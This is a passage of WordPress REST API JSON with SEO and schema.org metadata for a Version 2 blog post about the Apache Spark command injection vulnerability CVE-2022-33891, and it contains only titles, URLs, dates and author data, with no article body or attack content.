Release\"],\"inLanguage\":\"zh-HK\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/03\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\\\/\",\"url\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\",\"name\":\"Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\",\"datePublished\":\"2023-03-28T03:24:31+00:00\",\"dateModified\":\"2024-09-13T08:31:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#breadcrumb\"},\"inLanguage\":\"zh-HK\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage\",\"url\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\",\"contentUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/version-2.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Apache Zero Days &#8211; Apache Spark Command Injection Vulnerability (CVE-2022-33891)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"name\":\"Version 2\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/version-2.com\\\/zh\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-HK\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\",\"name\":\"Version 2\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"width\":1795,\"height\":335,\"caption\":\"Version 2\"},\"image\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/103ffe36f7fd34a1cc126a30431b94d8\",\"name\":\"versionpan\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"caption\":\"versionpan\"},\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/author\\\/versionpan\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891","og_locale":"zh_HK","og_type":"article","og_title":"Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2","og_description":"Component Name: Apache Spark Affected Versions: Apache [&hellip;]","og_url":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891","og_site_name":"Version 2","article_published_time":"2023-03-28T03:24:31+00:00","article_modified_time":"2024-09-13T08:31:23+00:00","og_image":[{"url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max","type":"","width":"","height":""}],"author":"versionpan","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"versionpan"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#article","isPartOf":{"@id":"https:\/\/version-2.com\/2023\/03\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\/"},"author":{"name":"versionpan","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/103ffe36f7fd34a1cc126a30431b94d8"},"headline":"Apache Zero Days &#8211; Apache Spark Command Injection Vulnerability (CVE-2022-33891)","datePublished":"2023-03-28T03:24:31+00:00","dateModified":"2024-09-13T08:31:23+00:00","mainEntityOfPage":{"@id":"https:\/\/version-2.com\/2023\/03\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\/"},"wordCount":1198,"commentCount":0,"publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max","keywords":["vRx","2023"],"articleSection":["vRx","2023","Press Release"],"inLanguage":"zh-HK","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#respond"]}]},{"@type":"WebPage","@id":"https:\/\/version-2.com\/2023\/03\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\/","url":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891","name":"Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2","isPartOf":{"@id":"https:\/\/version-2.com\/zh\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max","datePublished":"2023-03-28T03:24:31+00:00","dateModified":"2024-09-13T08:31:23+00:00","breadcrumb":{"@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#breadcrumb"},"inLanguage":"zh-HK","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891"]}]},{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage","url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max","contentUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max"},{"@type":"BreadcrumbList","@id":"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/version-2.com\/"},{"@type":"ListItem","position":2,"name":"Apache Zero Days &#8211; Apache Spark Command Injection Vulnerability (CVE-2022-33891)"}]},{"@type":"WebSite","@id":"https:\/\/version-2.com\/zh\/#website","url":"https:\/\/version-2.com\/zh\/","name":"Version 2","description":"","publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/version-2.com\/zh\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-HK"},{"@type":"Organization","@id":"https:\/\/version-2.com\/zh\/#organization","name":"Version 2","url":"https:\/\/version-2.com\/zh\/","logo":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","contentUrl":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","width":1795,"height":335,"caption":"Version 2"},"image":{"@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/103ffe36f7fd34a1cc126a30431b94d8","name":"versionpan","image":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","caption":"versionpan"},"url":"https:\/\/version-2.com\/zh\/author\/versionpan\/"}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbQRKm-h1i","post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/65428","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/users\/148637484"}],"replies":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/comments?post=65428"}],"version-history":[{"count":8,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/65428\/revisions"}],"predecessor-version":[{"id":69396,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/65428\/revisions\/69396"}],"wp:attachment":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/media?parent=65428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/categories?post=65428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/tags?post=65428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}